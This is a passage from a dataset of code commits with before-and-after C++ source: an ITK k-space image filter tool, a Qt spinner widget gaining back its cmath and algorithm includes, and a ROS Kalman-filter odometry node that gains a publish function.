   : Input\/output data is complex.\\n\\\n    --threads, -T N      : Use N threads (default=hardware limit).\\n\"\n};\n\nconst struct option long_options[] = {\n    {\"help\", no_argument, 0, 'h'},\n    {\"verbose\", no_argument, 0, 'v'},\n    {\"out\", required_argument, 0, 'o'},\n    {\"filter\", required_argument, 0, 'f'},\n    {\"debug\", no_argument, 0, 'd'},\n    {\"complex\", no_argument, 0, 'x'},\n    {\"threads\", required_argument, 0, 'T'},\n    {0, 0, 0, 0}\n};\nconst char *short_options = \"hvo:m:e:dxT:\";\n\n\/\/******************************************************************************\n\/\/ Main\n\/\/******************************************************************************\nint main(int argc, char **argv) {\n    Eigen::initParallel();\n\n    bool verbose = false, debug = false, is_complex = false;\n    double filter_a = 0.75, filter_q = 0.25;\n    string out_name;\n    int indexptr = 0, c;\n    while ((c = getopt_long(argc, argv, short_options, long_options, &indexptr)) != -1) {\n        switch (c) {\n            case 'v': verbose = true; break;\n            case 'o':\n                out_name = optarg;\n                cout << \"Output filename will be: \" << out_name << endl;\n                break;\n            case 'f': {\n                stringstream f(optarg);\n                f >> filter_a >> filter_q;\n            } break;\n            case 'd': debug = true; break;\n            case 'x': is_complex = true; break;\n            case 'T': itk::MultiThreader::SetGlobalMaximumNumberOfThreads(atoi(optarg)); break;\n            case 'h':\n                cout << QI::GetVersion() << endl << usage << endl;\n                return EXIT_SUCCESS;\n            case '?': \/\/ getopt will print an error message\n                return EXIT_FAILURE;\n            default:\n                cout << \"Unhandled option \" << string(1, c) << endl;\n                return EXIT_FAILURE;\n        }\n    }\n    if ((argc - optind) != 1) {\n        cout << \"Incorrect number of arguments.\" << endl << usage << endl;\n        return EXIT_FAILURE;\n    }\n\n    string in_name(argv[optind++]);\n    if (out_name == \"\")\n        out_name = in_name.substr(0, in_name.find(\".\")) + \"_filtered\";\n\n    TukeyKernel filter_kernel;\n    filter_kernel.setAQ(filter_a, filter_q);    \n    if (is_complex) {\n        if (verbose) cout << \"Data is complex.\" << endl;\n        run_pipeline<complex<double>>(in_name, out_name, verbose, debug, filter_kernel);\n    } else {\n        if (verbose) cout << \"Data is real.\" << endl;\n        run_pipeline<double>(in_name, out_name, verbose, debug, filter_kernel);\n    }\n\n    return EXIT_SUCCESS;\n}\n<commit_msg>ENH: Simplified pipeline to always work with complex<float> and write out either complex or real valued data.<commit_after>\/*\n *  qikfilter.cpp\n *\n *  Copyright (c) 2015 Tobias Wood.\n *\n *  This Source Code Form is subject to the terms of the Mozilla Public\n *  License, v. 2.0. If a copy of the MPL was not distributed with this\n *  file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n *\/\n\n#include <time.h>\n#include <getopt.h>\n#include <iostream>\n#include <atomic>\n#include <sstream>\n#include \"Eigen\/Dense\"\n\n#include \"itkImageSource.h\"\n#include \"itkConstNeighborhoodIterator.h\"\n#include \"itkImageRegionIteratorWithIndex.h\"\n#include \"itkMultiplyImageFilter.h\"\n#include \"itkDivideImageFilter.h\"\n#include \"itkComplexToComplexFFTImageFilter.h\"\n#include \"itkInverseFFTImageFilter.h\"\n#include \"itkFFTShiftImageFilter.h\"\n#include \"itkComplexToModulusImageFilter.h\"\n#include \"itkFFTPadImageFilter.h\"\n#include \"itkExtractImageFilter.h\"\n#include \"itkPasteImageFilter.h\"\n#include \"itkCastImageFilter.h\"\n\n#include \"QI\/Types.h\"\n#include \"QI\/Util.h\"\n\nusing namespace std;\nusing namespace Eigen;\n\nclass FilterKernel {\n    \n};\n\nclass TukeyKernel : FilterKernel {\nprotected:\n    double m_a = 0.75;\n    double m_q = 0.25;\n    int m_hx = 0, m_hy = 0, m_hz = 0;\n    \npublic:\n    void setSize(const int sx, const int sy, const int sz) {\n        m_hx = sx \/ 2;  m_hy = sy \/ 2;  m_hz = sz \/ 2;\n    }\n    void setAQ(const double a, const double q) {\n        m_a = a;\n        m_q = q;\n    }\n    \n    double operator() (const int x, const int y, const int z) const {\n            const double rx = fmod(static_cast<double>(x)\/m_hx + 1.0, 2.0) - 1.0;\n            const double ry = fmod(static_cast<double>(y)\/m_hy + 1.0, 2.0) - 1.0;\n            const double rz = fmod(static_cast<double>(z)\/m_hz + 1.0, 2.0) - 1.0;\n            const double r = sqrt((rx*rx + ry*ry + rz*rz) \/ 3);\n            const double v = (r <= (1 - m_a)) ? 1 : 0.5*((1+m_q)+(1-m_q)*cos((M_PI\/m_a)*(r - 1 + m_a)));\n            return v;\n    }\n};\n\n\nnamespace itk {\n\ntemplate<typename ImageType>\nclass KSpaceFilter : public ImageToImageFilter<ImageType, ImageType> {\npublic:\n    typedef ImageType                          TImage;\n    typedef KSpaceFilter                       Self;\n    typedef ImageToImageFilter<TImage, TImage> Superclass;\n    typedef SmartPointer<Self>                 Pointer;\n\nprotected:\n    TukeyKernel m_kernel;\n    bool m_WriteKernel = false;\n\n    KSpaceFilter(){}\n    ~KSpaceFilter(){}\n\npublic:\n    itkNewMacro(Self);\n    itkTypeMacro(KSpaceFilter, ImageSource);\n    itkSetMacro(WriteKernel, bool);\n    \n    virtual void GenerateOutputInformation() override {\n        Superclass::GenerateOutputInformation();\n        typename TImage::SizeType size = this->GetOutput()->GetLargestPossibleRegion().GetSize();\n        m_kernel.setSize(size[0], size[1], size[2]);\n    }\n    \n    void SetKernel(const TukeyKernel &k) { m_kernel = k; }\n\nprotected:\n    virtual void ThreadedGenerateData(const typename TImage::RegionType &region, ThreadIdType threadId) override {\n        typename TImage::IndexType startIndex = this->GetInput()->GetLargestPossibleRegion().GetIndex();\n        itk::ImageRegionIterator<TImage> outIt(this->GetOutput(),region);\n        itk::ImageRegionConstIteratorWithIndex<TImage> inIt(this->GetInput(),region);\n        inIt.GoToBegin();\n        outIt.GoToBegin();\n        while(!inIt.IsAtEnd()) {\n            const auto index = inIt.GetIndex() - startIndex; \/\/ Might be padded to a negative start\n            const typename TImage::PixelType::value_type k = m_kernel(index[0], index[1], index[2]);\n            const typename TImage::PixelType v = inIt.Get();\n            if (m_WriteKernel) {\n                outIt.Set(k);\n            } else {\n                outIt.Set(v * k);\n            }\n            ++inIt;\n            ++outIt;\n        }\n    }\n\nprivate:\n    KSpaceFilter(const Self &);\n    void operator=(const Self &);\n};\n\n} \/\/ End namespace itk\n\nQI::TimeseriesXF::Pointer run_pipeline(const std::string &in_name, const std::string &out_name, const bool verbose, const bool debug, const TukeyKernel &kernel) {\n    typedef itk::ExtractImageFilter<QI::TimeseriesXF, QI::ImageXD> TExtract;\n    typedef itk::PasteImageFilter<QI::TimeseriesXF>                TPaste;\n    typedef itk::CastImageFilter<QI::ImageXD, QI::TimeseriesXF>    TCast;\n    typedef itk::FFTPadImageFilter<QI::ImageXD>                    TPad;\n    typedef itk::ComplexToComplexFFTImageFilter<QI::ImageXD>       TFFT;\n    typedef itk::KSpaceFilter<QI::ImageXD>                         TFilter;\n    \n    if (verbose) cout << \"Opening input file: \" << in_name << endl;\n    auto vols = QI::ReadImage<QI::TimeseriesXF>(in_name);\n    auto region = vols->GetLargestPossibleRegion();\n    const size_t nvols = region.GetSize()[3]; \/\/ Save for the loop\n    \n    auto extract = TExtract::New();\n    auto pad     = TPad::New();\n    auto forward = TFFT::New();\n    auto inverse = TFFT::New();\n    auto k_filter = TFilter::New();\n    auto caster = TCast::New();\n    auto paster = TPaste::New();\n    \n    extract->SetInput(vols);\n    extract->SetDirectionCollapseToSubmatrix();\n    extract->InPlaceOn();\n    pad->SetInput(extract->GetOutput());\n    forward->SetInput(pad->GetOutput());\n    k_filter->SetInput(forward->GetOutput());\n    k_filter->SetKernel(kernel);\n    inverse->SetInput(k_filter->GetOutput());\n    inverse->SetTransformDirection(TFFT::INVERSE);\n    caster->SetInput(inverse->GetOutput());\n    paster->SetSourceImage(caster->GetOutput());\n    region.GetModifiableSize()[3] = 1;\n    paster->SetSourceRegion(region);\n    paster->SetDestinationImage(vols);\n    \/\/paster->InPlaceOn();\n    region.GetModifiableSize()[3] = 0;\n    for (int i = 0; i < nvols; i++) {\n        region.GetModifiableIndex()[3] = i;\n        if (verbose) cout << \"Processing volume \" << i << endl;\n        extract->SetExtractionRegion(region);\n        paster->SetDestinationIndex(region.GetIndex());\n        paster->Update();\n        vols = paster->GetOutput();\n    }\n    return vols;\n    if (verbose) cout << \"Finished.\" << endl;\n}\n\n\/\/******************************************************************************\n\/\/ Arguments \/ Usage\n\/\/******************************************************************************\nconst string usage {\n\"Usage is: qikfilter [options] input \\n\\\n\\n\\\nFilter images in k-Space\\n\\\n\\n\\\nOptions:\\n\\\n    --help, -h           : Print this message.\\n\\\n    --verbose, -v        : Print more information.\\n\\\n    --out, -o path       : Specify an output filename (default image base).\\n\\\n    --filter, -f \\\"a q\\\" : Set Filter a and q values (default 0.75 0.25).\\n\\\n    --debug, -d          : Save all pipeline steps.\\n\\\n    --complex, -x        : Output complex data.\\n\\\n    --threads, -T N      : Use N threads (default=hardware limit).\\n\"\n};\n\nconst struct option long_options[] = {\n    {\"help\", no_argument, 0, 'h'},\n    {\"verbose\", no_argument, 0, 'v'},\n    {\"out\", required_argument, 0, 'o'},\n    {\"filter\", required_argument, 0, 'f'},\n    {\"debug\", no_argument, 0, 'd'},\n    {\"complex\", no_argument, 0, 'x'},\n    {\"threads\", required_argument, 0, 'T'},\n    {0, 0, 0, 0}\n};\nconst char *short_options = \"hvo:m:e:dxT:\";\n\n\/\/******************************************************************************\n\/\/ Main\n\/\/******************************************************************************\nint main(int argc, char **argv) {\n    Eigen::initParallel();\n\n    bool verbose = false, debug = false, is_complex = false;\n    double filter_a = 0.75, filter_q = 0.25;\n    string out_name;\n    int indexptr = 0, c;\n    while ((c = getopt_long(argc, argv, short_options, long_options, &indexptr)) != -1) {\n        switch (c) {\n            case 'v': verbose = true; break;\n            case 'o':\n                out_name = optarg;\n                cout << \"Output filename will be: \" << out_name << endl;\n                break;\n            case 'f': {\n                stringstream f(optarg);\n                f >> filter_a >> filter_q;\n            } break;\n            case 'd': debug = true; break;\n            case 'x': is_complex = true; break;\n            case 'T': itk::MultiThreader::SetGlobalMaximumNumberOfThreads(atoi(optarg)); break;\n            case 'h':\n                cout << QI::GetVersion() << endl << usage << endl;\n                return EXIT_SUCCESS;\n            case '?': \/\/ getopt will print an error message\n                return EXIT_FAILURE;\n            default:\n                cout << \"Unhandled option \" << string(1, c) << endl;\n                return EXIT_FAILURE;\n        }\n    }\n    if ((argc - optind) != 1) {\n        cout << \"Incorrect number of arguments.\" << endl << usage << endl;\n        return EXIT_FAILURE;\n    }\n\n    string in_name(argv[optind++]);\n    if (out_name == \"\")\n        out_name = in_name.substr(0, in_name.find(\".\")) + \"_filtered\";\n\n    TukeyKernel filter_kernel;\n    filter_kernel.setAQ(filter_a, filter_q);\n    QI::TimeseriesXF::Pointer vols = run_pipeline(in_name, out_name, verbose, debug, filter_kernel);     \n    if (is_complex) {\n        if (verbose) cout << \"Data is complex.\" << endl;\n        QI::WriteImage(vols, out_name + QI::OutExt());\n    } else {\n        if (verbose) cout << \"Data is real.\" << endl;\n        if (verbose) cout << \"Writing output:\" << out_name + QI::OutExt() << endl;\n        auto mag = itk::ComplexToModulusImageFilter<QI::TimeseriesXF, QI::TimeseriesF>::New();\n        mag->SetInput(vols);\n        mag->Update();\n        QI::WriteImage(mag->GetOutput(), out_name + QI::OutExt());\n    }\n\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*Copyright (c) 2012-2014 Alexander Turkin\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <QtGui\/QPainter>\n#include <QtCore\/QTimer>\n\n#include \"QtWaitingSpinner.h\"\n\n\/\/ Defaults\nconst QColor c_color(Qt::black);\nconst qreal c_roundness(70.0);\nconst int c_lines(12);\nconst int c_length(7);\nconst int c_width(5);\nconst int c_radius(10);\nconst int c_speed(1);\nconst int c_trail(70);\nconst int c_opacity(15);\n\nQtWaitingSpinner::QtWaitingSpinner(QWidget *parent, Qt::WindowFlags flags) : QWidget(parent, flags),\n    myLinesNumber(c_lines),\n    myLength(c_length + c_width),\n    myWidth(c_width),\n    myRadius(c_radius),\n    myRoundness(c_roundness),\n    myColor(c_color),\n    mySpeed(c_speed),\n    myTrail(c_trail),\n    myOpacity(c_opacity),\n    myTimer(NULL),\n    myCurrentCounter(0)\n{\n    initialise();\n}\n\nQtWaitingSpinner::QtWaitingSpinner(int linesNumber, int length, int width, int radius, QWidget *parent) : QWidget(parent),\n\tmyLinesNumber(linesNumber),\n\tmyLength(length + width),\n\tmyWidth(width),\n\tmyRadius(radius),\n    myRoundness(c_roundness),\n    myColor(c_color),\n    mySpeed(c_speed),\n    myTrail(c_trail),\n    myOpacity(c_opacity),\n    myTimer(NULL),\n    myCurrentCounter(0)\n{\n    initialise();\n}\n\nvoid QtWaitingSpinner::initialise() {\n    myTimer = new QTimer(this);\n    connect(myTimer,SIGNAL(timeout()), this, SLOT(rotate()));\n    updateSize();\n    updateTimer();\n    this->hide();\n}\n\nvoid QtWaitingSpinner::paintEvent(QPaintEvent *\/*ev*\/) {\n\tQPainter painter(this);\n\tpainter.fillRect(this->rect(), Qt::transparent);\n\tpainter.setRenderHint(QPainter::Antialiasing, true);\n\n\tif (myCurrentCounter >= myLinesNumber) {\n\t\tmyCurrentCounter = 0;\n\t}\n\tpainter.setPen(Qt::NoPen);\n\tfor (int i = 0; i < myLinesNumber; ++i) {\n\t\tpainter.save();\n\t\tpainter.translate(myRadius + myLength, myRadius + myLength);\n\t\tqreal rotateAngle = (qreal)360 * qreal(i) \/ qreal(myLinesNumber);\n\t\tpainter.rotate(rotateAngle);\n\t\tpainter.translate(myRadius, 0);\n\t\tint distance = lineDistance(i, myCurrentCounter, myLinesNumber);\n\t\tQColor color = countTrailColor(distance, myLinesNumber, myTrail, myOpacity, myColor);\n\t\tpainter.setBrush(color);\n\t\t\/\/TODO improve the way rounded rect is painted\n\t\tpainter.drawRoundedRect(QRect(0, -myWidth\/2, myLength, myWidth), myRoundness, myRoundness, Qt::RelativeSize);\n\t\tpainter.restore();\n\t}\n}\n\nvoid QtWaitingSpinner::start() {\n\tthis->show();\n\tif (!myTimer->isActive()) {\n\t\tmyTimer->start();\n\t\tmyCurrentCounter = 0;\n\t}\n}\n\nvoid QtWaitingSpinner::finish() {\n\tthis->hide();\n\tif (myTimer->isActive()) {\n\t\tmyTimer->stop();\n\t\tmyCurrentCounter = 0;\n\t}\n}\n\nvoid QtWaitingSpinner::setLinesNumber(int linesNumber) {\n\tmyLinesNumber = linesNumber;\n\tmyCurrentCounter = 0;\n\tupdateTimer();\n}\n\nvoid QtWaitingSpinner::setLength(int length){\n\tmyLength = length;\n\tupdateSize();\n}\n\nvoid QtWaitingSpinner::setWidth(int width) {\n\tmyWidth = width;\n\tupdateSize();\n}\n\nvoid QtWaitingSpinner::setRadius(int radius) {\n\tmyRadius = radius;\n\tupdateSize();\n}\n\nvoid QtWaitingSpinner::setRoundness(qreal roundness) {\n\tmyRoundness = std::max(0.0, std::min(100.0, roundness));\n}\n\nvoid QtWaitingSpinner::setColor(QColor color) {\n\tmyColor = color;\n}\n\nvoid QtWaitingSpinner::setSpeed(qreal speed) {\n\tmySpeed = speed;\n\tupdateTimer();\n}\n\nvoid QtWaitingSpinner::setTrail(int trail) {\n\tmyTrail = trail;\n}\n\nvoid QtWaitingSpinner::setOpacity(int minOpacity) {\n\tmyOpacity = minOpacity;\n}\n\nvoid QtWaitingSpinner::rotate() {\n\t++myCurrentCounter;\n\tif (myCurrentCounter >= myLinesNumber) {\n\t\tmyCurrentCounter = 0;\n\t}\n\tupdate();\n}\n\nvoid QtWaitingSpinner::updateSize() {\n\tint size = (myRadius + myLength) * 2;\n\tsetFixedSize(size, size);\n}\n\nvoid QtWaitingSpinner::updateTimer() {\n\tmyTimer->setInterval(countTimeout(myLinesNumber, mySpeed));\n}\n\nint QtWaitingSpinner::countTimeout(int lines, qreal speed) {\n\treturn 1000 \/ (lines * speed);\n}\n\nint QtWaitingSpinner::lineDistance(int from, int to, int lines) {\n\tint result = to - from;\n\tif (result < 0) {\n\t\tresult += lines;\n\t}\n\treturn result;\n}\n\nQColor QtWaitingSpinner::countTrailColor(int distance, int lines, int trail, int minOpacity, QColor color) {\n\tif (distance == 0) {\n\t\treturn color;\n\t}\n\tconst qreal minAlphaF = (qreal)minOpacity \/ 100;\n\tint distanceThreshold = ceil( (lines - 1) * (qreal)trail \/ 100);\n\tif (distance > distanceThreshold) {\n\t\tcolor.setAlphaF(minAlphaF);\n\t\treturn color;\n\t}\n\tqreal alphaDiff = color.alphaF() - (qreal)minAlphaF;\n\tqreal gradation = alphaDiff \/ (qreal)(distanceThreshold + 1);\n\tqreal resultAlpha = color.alphaF() - gradation * distance;\n\tresultAlpha = std::min(1.0, std::max(0.0, resultAlpha)); \/\/if alpha is out of bound, force it to bounds\n\tcolor.setAlphaF(resultAlpha);\n    return color;\n}\n\n<commit_msg>Although my compiler isn't complaining when I remove the cmath and algorithm #includes, I am suspicious...added them back<commit_after>\/*Copyright (c) 2012-2014 Alexander Turkin\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n#include <cmath>\n#include <algorithm>\n\n#include <QtGui\/QPainter>\n#include <QtCore\/QTimer>\n\n#include \"QtWaitingSpinner.h\"\n\n\/\/ Defaults\nconst QColor c_color(Qt::black);\nconst qreal c_roundness(70.0);\nconst int c_lines(12);\nconst int c_length(7);\nconst int c_width(5);\nconst int c_radius(10);\nconst int c_speed(1);\nconst int c_trail(70);\nconst int c_opacity(15);\n\nQtWaitingSpinner::QtWaitingSpinner(QWidget *parent, Qt::WindowFlags flags) : QWidget(parent, flags),\n    myLinesNumber(c_lines),\n    myLength(c_length + c_width),\n    myWidth(c_width),\n    myRadius(c_radius),\n    myRoundness(c_roundness),\n    myColor(c_color),\n    mySpeed(c_speed),\n    myTrail(c_trail),\n    myOpacity(c_opacity),\n    myTimer(NULL),\n    myCurrentCounter(0)\n{\n    initialise();\n}\n\nQtWaitingSpinner::QtWaitingSpinner(int linesNumber, int length, int width, int radius, QWidget *parent) : QWidget(parent),\n\tmyLinesNumber(linesNumber),\n\tmyLength(length + width),\n\tmyWidth(width),\n\tmyRadius(radius),\n    myRoundness(c_roundness),\n    myColor(c_color),\n    mySpeed(c_speed),\n    myTrail(c_trail),\n    myOpacity(c_opacity),\n    myTimer(NULL),\n    myCurrentCounter(0)\n{\n    initialise();\n}\n\nvoid QtWaitingSpinner::initialise() {\n    myTimer = new QTimer(this);\n    connect(myTimer,SIGNAL(timeout()), this, SLOT(rotate()));\n    updateSize();\n    updateTimer();\n    this->hide();\n}\n\nvoid QtWaitingSpinner::paintEvent(QPaintEvent *\/*ev*\/) {\n\tQPainter painter(this);\n\tpainter.fillRect(this->rect(), Qt::transparent);\n\tpainter.setRenderHint(QPainter::Antialiasing, true);\n\n\tif (myCurrentCounter >= myLinesNumber) {\n\t\tmyCurrentCounter = 0;\n\t}\n\tpainter.setPen(Qt::NoPen);\n\tfor (int i = 0; i < myLinesNumber; ++i) {\n\t\tpainter.save();\n\t\tpainter.translate(myRadius + myLength, myRadius + myLength);\n\t\tqreal rotateAngle = (qreal)360 * qreal(i) \/ qreal(myLinesNumber);\n\t\tpainter.rotate(rotateAngle);\n\t\tpainter.translate(myRadius, 0);\n\t\tint distance = lineDistance(i, myCurrentCounter, myLinesNumber);\n\t\tQColor color = countTrailColor(distance, myLinesNumber, myTrail, myOpacity, myColor);\n\t\tpainter.setBrush(color);\n\t\t\/\/TODO improve the way rounded rect is painted\n\t\tpainter.drawRoundedRect(QRect(0, -myWidth\/2, myLength, myWidth), myRoundness, myRoundness, Qt::RelativeSize);\n\t\tpainter.restore();\n\t}\n}\n\nvoid QtWaitingSpinner::start() {\n\tthis->show();\n\tif (!myTimer->isActive()) {\n\t\tmyTimer->start();\n\t\tmyCurrentCounter = 0;\n\t}\n}\n\nvoid QtWaitingSpinner::finish() {\n\tthis->hide();\n\tif (myTimer->isActive()) {\n\t\tmyTimer->stop();\n\t\tmyCurrentCounter = 0;\n\t}\n}\n\nvoid QtWaitingSpinner::setLinesNumber(int linesNumber) {\n\tmyLinesNumber = linesNumber;\n\tmyCurrentCounter = 0;\n\tupdateTimer();\n}\n\nvoid QtWaitingSpinner::setLength(int length){\n\tmyLength = length;\n\tupdateSize();\n}\n\nvoid QtWaitingSpinner::setWidth(int width) {\n\tmyWidth = width;\n\tupdateSize();\n}\n\nvoid QtWaitingSpinner::setRadius(int radius) {\n\tmyRadius = radius;\n\tupdateSize();\n}\n\nvoid QtWaitingSpinner::setRoundness(qreal roundness) {\n\tmyRoundness = std::max(0.0, std::min(100.0, roundness));\n}\n\nvoid QtWaitingSpinner::setColor(QColor color) {\n\tmyColor = color;\n}\n\nvoid QtWaitingSpinner::setSpeed(qreal speed) {\n\tmySpeed = speed;\n\tupdateTimer();\n}\n\nvoid QtWaitingSpinner::setTrail(int trail) {\n\tmyTrail = trail;\n}\n\nvoid QtWaitingSpinner::setOpacity(int minOpacity) {\n\tmyOpacity = minOpacity;\n}\n\nvoid QtWaitingSpinner::rotate() {\n\t++myCurrentCounter;\n\tif (myCurrentCounter >= myLinesNumber) {\n\t\tmyCurrentCounter = 0;\n\t}\n\tupdate();\n}\n\nvoid QtWaitingSpinner::updateSize() {\n\tint size = (myRadius + myLength) * 2;\n\tsetFixedSize(size, size);\n}\n\nvoid QtWaitingSpinner::updateTimer() {\n\tmyTimer->setInterval(countTimeout(myLinesNumber, mySpeed));\n}\n\nint QtWaitingSpinner::countTimeout(int lines, qreal speed) {\n\treturn 1000 \/ (lines * speed);\n}\n\nint QtWaitingSpinner::lineDistance(int from, int to, int lines) {\n\tint result = to - from;\n\tif (result < 0) {\n\t\tresult += lines;\n\t}\n\treturn result;\n}\n\nQColor QtWaitingSpinner::countTrailColor(int distance, int lines, int trail, int minOpacity, QColor color) {\n\tif (distance == 0) {\n\t\treturn color;\n\t}\n\tconst qreal minAlphaF = (qreal)minOpacity \/ 100;\n\tint distanceThreshold = ceil( (lines - 1) * (qreal)trail \/ 100);\n\tif (distance > distanceThreshold) {\n\t\tcolor.setAlphaF(minAlphaF);\n\t\treturn color;\n\t}\n\tqreal alphaDiff = color.alphaF() - (qreal)minAlphaF;\n\tqreal gradation = alphaDiff \/ (qreal)(distanceThreshold + 1);\n\tqreal resultAlpha = color.alphaF() - gradation * distance;\n\tresultAlpha = std::min(1.0, std::max(0.0, resultAlpha)); \/\/if alpha is out of bound, force it to bounds\n\tcolor.setAlphaF(resultAlpha);\n    return color;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <Eigen\/Geometry>\n#include <ros\/ros.h>\n#include <tf\/transform_datatypes.h>\n#include <tf\/transform_listener.h>\n#include <geometry_msgs\/QuaternionStamped.h>\n#include <nav_msgs\/Odometry.h>\n#include <sensor_msgs\/Imu.h>\n#include <robot_kf\/robot_kf.h>\n\n\/\/ TODO: Deal with TF frames.\n\nstatic boost::shared_ptr<tf::TransformListener> sub_tf;\nstatic ros::Subscriber sub_compass;\nstatic ros::Subscriber sub_encoders;\nstatic ros::Subscriber sub_gps;\nstatic ros::Publisher  pub_fused;\nstatic robot_kf::KalmanFilter kf;\nstatic std::string frame;\n\nstatic bool watch_compass;\nstatic bool watch_encoders;\nstatic bool watch_gps;\nstatic std::string frame_id;\n\nstatic void publish(void)\n{\n}\n\nstatic void updateCompass(sensor_msgs::Imu const &msg)\n{\n    double const yaw = tf::getYaw(msg.orientation);\n    double const cov = msg.orientation_covariance[8];\n\n    kf.update_compass(yaw, cov);\n    if (watch_compass) publish();\n}\n\nstatic void updateEncoders(nav_msgs::Odometry const &msg)\n{\n    Eigen::Vector3d const z = (Eigen::Vector3d() <<\n        msg.pose.pose.position.x,\n        msg.pose.pose.position.y,\n        tf::getYaw(msg.pose.pose.orientation)\n    ).finished();\n\n    Eigen::Map<Eigen::Matrix<double, 6, 6> const> cov_raw(\n        &msg.pose.covariance.front()\n    );\n\n    Eigen::Matrix3d cov_z = Eigen::Matrix3d::Zero();\n    cov_z.topLeftCorner<2, 2>() = cov_raw.topLeftCorner<2, 2>();\n    cov_z(2, 2) = cov_raw(5, 5);\n\n    kf.update_encoders(z, cov_z);\n    if (watch_encoders) publish();\n}\n\nstatic void updateGps(nav_msgs::Odometry const &msg)\n{\n    Eigen::Vector2d const z = (Eigen::Vector2d() <<\n        msg.pose.pose.position.x,\n        msg.pose.pose.position.y\n    ).finished();\n\n    Eigen::Map<Eigen::Matrix<double, 6, 6> const> cov_raw(\n        &msg.pose.covariance.front()\n    );\n    Eigen::Matrix2d const cov_z = cov_raw.topLeftCorner<2, 2>();\n\n    kf.update_gps(z, cov_z);\n    if (watch_gps) publish();\n}\n\nint main(int argc, char **argv)\n{\n    ros::init(argc, argv, \"robot_kf_node\");\n\n    ros::NodeHandle nh;\n    nh.param<bool>(\"watch_compass\",  watch_compass,  true);\n    nh.param<bool>(\"watch_encoders\", watch_encoders, true);\n    nh.param<bool>(\"watch_gps\",      watch_gps,      true);\n    nh.param<std::string>(\"frame_id\", frame_id, \"\/odom_fused\");\n\n    sub_tf = boost::make_shared<tf::TransformListener>();\n    sub_compass  = nh.subscribe(\"compass\", 1, &updateCompass);\n    sub_encoders = nh.subscribe(\"odom\", 1, &updateEncoders);\n    sub_gps      = nh.subscribe(\"gps\", 1, &updateGps);\n    pub_fused    = nh.advertise<nav_msgs::Odometry>(\"odom_fused\", 100);\n\n    ros::spin();\n    return 0;\n}\n<commit_msg>published the fused odometry message<commit_after>#include <Eigen\/Geometry>\n#include <ros\/ros.h>\n#include <tf\/transform_datatypes.h>\n#include <tf\/transform_listener.h>\n#include <geometry_msgs\/QuaternionStamped.h>\n#include <nav_msgs\/Odometry.h>\n#include <sensor_msgs\/Imu.h>\n#include <robot_kf\/robot_kf.h>\n\n\/\/ TODO: Deal with TF frames.\n\nstatic double const big = 99999.0;\n\nstatic boost::shared_ptr<tf::TransformListener> sub_tf;\nstatic ros::Subscriber sub_compass;\nstatic ros::Subscriber sub_encoders;\nstatic ros::Subscriber sub_gps;\nstatic ros::Publisher  pub_fused;\nstatic robot_kf::KalmanFilter kf;\n\nstatic bool watch_compass;\nstatic bool watch_encoders;\nstatic bool watch_gps;\nstatic std::string frame_id, child_frame_id;\n\nstatic void publish(void)\n{\n    Eigen::Vector3d const state = kf.getState();\n    Eigen::Matrix3d const cov = kf.getCovariance();\n\n    nav_msgs::Odometry msg;\n    msg.header.stamp = ros::Time::now();\n    msg.header.frame_id = frame_id;\n    msg.child_frame_id = child_frame_id;\n    msg.pose.pose.position.x = state[0];\n    msg.pose.pose.position.y = state[1];\n    tf::quaternionTFToMsg(tf::createQuaternionFromYaw(state[2]),\n                          msg.pose.pose.orientation);\n\n    Eigen::Map<Eigen::Matrix<double, 6, 6> > cov_raw(&msg.pose.covariance[0]);\n    cov_raw << cov(0,0), cov(0,1), 0.0, 0.0, 0.0, cov(0,2),\n               cov(1,0), cov(1,1), 0.0, 0.0, 0.0, cov(1,2),\n               0.0,      0.0,      big, 0.0, 0.0, 0.0,\n               0.0,      0.0,      0.0, big, 0.0, 0.0,\n               0.0,      0.0,      0.0, 0.0, big, 0.0,\n               cov(2,0), cov(2,1), 0.0, 0.0, 0.0, cov(2,2);\n    msg.twist.covariance[0] = -1;\n    pub_fused.publish(msg);\n}\n\nstatic void updateCompass(sensor_msgs::Imu const &msg)\n{\n    double const yaw = tf::getYaw(msg.orientation);\n    double const cov = msg.orientation_covariance[8];\n\n    kf.update_compass(yaw, cov);\n    if (watch_compass) publish();\n}\n\nstatic void updateEncoders(nav_msgs::Odometry const &msg)\n{\n    Eigen::Vector3d const z = (Eigen::Vector3d() <<\n        msg.pose.pose.position.x,\n        msg.pose.pose.position.y,\n        